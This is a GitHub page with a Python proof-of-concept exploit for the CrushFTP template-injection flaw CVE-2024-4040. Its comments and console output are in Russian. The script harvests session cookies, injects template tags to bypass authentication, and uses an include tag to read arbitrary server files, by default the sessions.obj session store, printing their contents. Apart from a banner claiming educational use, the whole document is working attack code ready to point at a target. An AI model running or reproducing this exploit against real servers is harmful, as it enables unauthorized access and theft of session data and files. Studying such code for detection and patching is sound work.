-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathGenCrushSSTIExploit.py
149 lines (130 loc) · 9.53 KB
/
GenCrushSSTIExploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import requests
import argparse
import re
import urllib3
import xml.etree.ElementTree as XMLParser
from rich.console import Console
from rich.progress import Progress
from rich.style import Style
from rich.text import Text
# Отключение предупреждений безопасности SSL
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Определение стилей для вывода на консоль
STYLE_MAGENTA = Style(color="bright_magenta")
STYLE_GREEN = Style(color="green")
STYLE_RED = Style(color="red")
STYLE_YELLOW = Style(color="yellow")
STYLE_GRY_YELLOW = Style(color="yellow2")
STYLE_CYAN = Style(color="cyan")
STYLE_BRIGHT_CYAN = Style(color="bright_cyan")
STYLE_BLUE = Style(color="blue1")
# Инициализация консоли
console_output = Console(highlight=False)
# Отображение баннера с информацией о PoC
def display_banner():
banner_text = "\n★ Добро пожаловать в GenCrushSSTIExploit ★"
console_output.print(Text(banner_text, style="bold bright_cyan"))
console_output.print(Text("CrushFTP SSTI PoC (CVE-2024-4040)", style=STYLE_CYAN))
console_output.print(Text("Автор: geniuszly", style=STYLE_MAGENTA))
console_output.print(Text("Использование: только для учебных и этических целей", style=STYLE_YELLOW))
console_output.print(Text("-" * 50, style=STYLE_BRIGHT_CYAN))
# Устанавливает соединение с сервером CrushFTP и извлекает куки аутентификации
def establish_ajax_session(target_url, session_obj):
console_output.print(f"[{STYLE_GREEN}][*][/{STYLE_GREEN}] Подключение к ServerSessionAJAX...\n")
constructed_url = f"{target_url}/WebInterface/"
try:
# Выполняем запрос к целевому URL
response = session_obj.get(constructed_url, verify=False, allow_redirects=True)
if response.status_code == 404:
console_output.print(f"[{STYLE_GREEN}][+][/{STYLE_GREEN}] Успешно подключено к ServerSessionAJAX")
# Проверяем наличие куки CrushAuth и currentAuth
if 'CrushAuth' in response.cookies and 'currentAuth' in response.cookies:
auth_cookie = response.cookies['CrushAuth']
current_auth = response.cookies['currentAuth']
console_output.print(f"[{STYLE_GREEN}][+][/{STYLE_GREEN}] Куки CrushAuth: " + auth_cookie)
console_output.print(f"[{STYLE_GREEN}][+][/{STYLE_GREEN}] Куки currentAuth: " + current_auth)
return auth_cookie, current_auth
else:
console_output.print(f"[{STYLE_RED}][-][/{STYLE_RED}] 'CrushAuth' или 'currentAuth' куки отсутствуют в ответе")
exit(1)
except requests.exceptions.RequestException as error_details:
console_output.print(f"[{STYLE_RED}][-][/{STYLE_RED}] Ошибка подключения к ServerSessionAJAX")
console_output.print(f"[{STYLE_RED}][-][/{STYLE_RED}] Ошибка: {error_details}")
exit(1)
# Эксплуатация уязвимости SSTI на целевом сервере
def execute_ssti_exploit(target_url, auth_cookie, current_auth, session_obj):
console_output.print(f"\n[{STYLE_GREEN}][*][/{STYLE_GREEN}] Попытка эксплуатации уязвимости SSTI...")
exploit_url = f"{target_url}/WebInterface/function/?c2f={current_auth}&command=zip&path={{hostname}}&names=/a"
console_output.print(f"\n[{STYLE_GREEN}][+][/{STYLE_GREEN}] URL: [{STYLE_BLUE}]{exploit_url}[/{STYLE_BLUE}]")
headers = {"Cookie": f"CrushAuth={auth_cookie}; currentAuth={current_auth}"}
try:
# Выполняем POST-запрос для эксплуатации уязвимости
response = session_obj.post(exploit_url, headers=headers, verify=False, allow_redirects=True)
if response.status_code == 200:
console_output.print(f"[{STYLE_GREEN}][+][/{STYLE_GREEN}] Успешная эксплуатация уязвимости SSTI")
parsed_root = XMLParser.fromstring(response.text)
parsed_response = parsed_root.find('response').text
console_output.print(f"[{STYLE_GREEN}][+][/{STYLE_GREEN}] Ответ сервера: {parsed_response}")
elif response.status_code == 404 or "{hostname}" in response.text:
console_output.print(f"[{STYLE_RED}][-][/{STYLE_RED}] Эксплуатация SSTI не удалась. Сервер может быть защищен.")
console_output.print(f"[{STYLE_RED}][-][/{STYLE_RED}] Ответ: {response.text}")
exit(1)
except requests.exceptions.RequestException as error_details:
console_output.print(f"[{STYLE_RED}][-][/{STYLE_RED}] Ошибка при эксплуатации SSTI")
console_output.print(f"[{STYLE_RED}][-][/{STYLE_RED}] Ошибка: {error_details}")
exit(1)
# === Блок: Аутентификация и извлечение файлов ===
# Аутентификация и извлечение файлов
def attempt_auth_bypass(target_url, auth_cookie, current_auth, file_to_include=None, session_obj=None):
console_output.print(f"[{STYLE_GREEN}][*][/{STYLE_GREEN}] Попытка обхода аутентификации...")
auth_bypass_url = f"{target_url}/WebInterface/function/?c2f={current_auth}&command=zip&path={{working_dir}}&names=/a"
console_output.print(f"\n[{STYLE_GREEN}][+][/{STYLE_GREEN}] URL: {auth_bypass_url}")
headers = {"Cookie": f"CrushAuth={auth_cookie}; currentAuth={current_auth}"}
try:
response = session_obj.post(auth_bypass_url, headers=headers, verify=False, allow_redirects=True)
if "{working_dir}" in response.text:
console_output.print(f"[{STYLE_RED}][-][/{STYLE_RED}] Обход аутентификации не удался, сервер защищен.")
console_output.print(f"[{STYLE_RED}][-][/{STYLE_RED}] Ответ: {response.text}")
exit(1)
if response.status_code == 200:
console_output.print(f"[{STYLE_GREEN}][+][/{STYLE_GREEN}] Обход аутентификации успешен")
console_output.print(f"[{STYLE_GREEN}][+][/{STYLE_GREEN}] Ответ: {response.text}")
parsed_root = XMLParser.fromstring(response.text)
parsed_response = parsed_root.find('response').text
file_matches = re.findall(r'file:(.*?)(?=\n|$)', parsed_response)
if file_matches:
crushftp_directory = file_matches[-1].strip()
file_to_extract = file_to_include if file_to_include else f"{crushftp_directory}sessions.obj"
console_output.print(f"[{STYLE_GREEN}][+][/{STYLE_GREEN}] Файл для извлечения: {file_to_extract}")
extract_file(target_url, current_auth, file_to_extract, headers, session_obj)
except requests.exceptions.RequestException as error_details:
console_output.print(f"[{STYLE_RED}][-][/{STYLE_RED}] Обход аутентификации не удался")
console_output.print(f"[{STYLE_RED}][-][/{STYLE_RED}] Ошибка: {error_details}")
exit(1)
# Извлекаем указанный файл с сервера и выводим его содержимое
def extract_file(target_url, current_auth, file_to_extract, headers, session_obj):
extract_url = f"{target_url}/WebInterface/function/?c2f={current_auth}&command=zip&path=<INCLUDE>{file_to_extract}</INCLUDE>&names=/a"
console_output.print(f"\n[{STYLE_GREEN}][+][/{STYLE_GREEN}] Извлечение {file_to_extract}...")
console_output.print(f"\n[{STYLE_GREEN}][+][/{STYLE_GREEN}] URL: {extract_url}")
response = session_obj.post(extract_url, headers=headers, verify=False, allow_redirects=True)
if response.status_code == 200 and response.text != "":
console_output.print(f"[{STYLE_GREEN}][+][/{STYLE_GREEN}] Успешное извлечение {file_to_extract}")
console_output.print(f"[{STYLE_GREEN}][+][/{STYLE_GREEN}] Извлеченное содержимое: \n{response.text}")
else:
console_output.print(f"[{STYLE_RED}][-][/{STYLE_RED}] Не удалось извлечь файл")
# Основная логика
def execute_exploit():
arg_parser = argparse.ArgumentParser(description="CrushFTP SSTI PoC (CVE-2024-4040)")
arg_parser.add_argument("-t", "--target", help="URL уязвимого CrushFTP", required=True)
arg_parser.add_argument("-l", "--lfi", help="Локальное включение файла")
args = arg_parser.parse_args()
display_banner()
session_instance = requests.Session()
# Установление сессии и извлечение куки
auth_cookie, current_auth = establish_ajax_session(target_url=args.target, session_obj=session_instance)
# Эксплуатация SSTI
execute_ssti_exploit(target_url=args.target, auth_cookie=auth_cookie, current_auth=current_auth, session_obj=session_instance)
# Попытка обхода аутентификации и чтения файла
attempt_auth_bypass(target_url=args.target, auth_cookie=auth_cookie, current_auth=current_auth, file_to_include=args.lfi, session_obj=session_instance)
if __name__ == "__main__":
execute_exploit()